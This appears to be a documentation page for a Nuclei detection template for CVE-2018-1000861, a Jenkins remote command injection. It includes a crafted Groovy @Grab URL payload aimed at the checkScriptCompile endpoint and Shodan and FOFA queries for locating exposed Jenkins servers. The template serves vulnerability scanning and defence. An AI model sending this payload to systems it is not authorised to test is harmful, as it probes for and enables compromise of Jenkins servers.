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Jenkins - Remote Command Injection

ID: CVE-2018-1000861

Severity: critical

Author: dhiyaneshDK,pikpikcu

Tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins

Description

Section titled “Description”

Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.

YAML Source

Section titled “YAML Source”
id: CVE-2018-1000861


info:
  name: Jenkins - Remote Command Injection
  author: dhiyaneshDK,pikpikcu
  severity: critical
  description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.
  remediation: |
    Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
    - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
    - http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
    - https://access.redhat.com/errata/RHBA-2019:0024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
    epss-score: 0.9732
    epss-percentile: 0.99878
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: jenkins
    shodan-query:
      - http.favicon.hash:81586312
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins


http:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "package#vulntest"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502202a5cc7e4e890d25b90d45cfa37cdfdf4270cccfd96349c47e58cca7762546572022100c8c27f0677c6ac95962f4ed8704a7387f4e6574d37d5a8ade106f4047b9742c3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-1000861.yaml"

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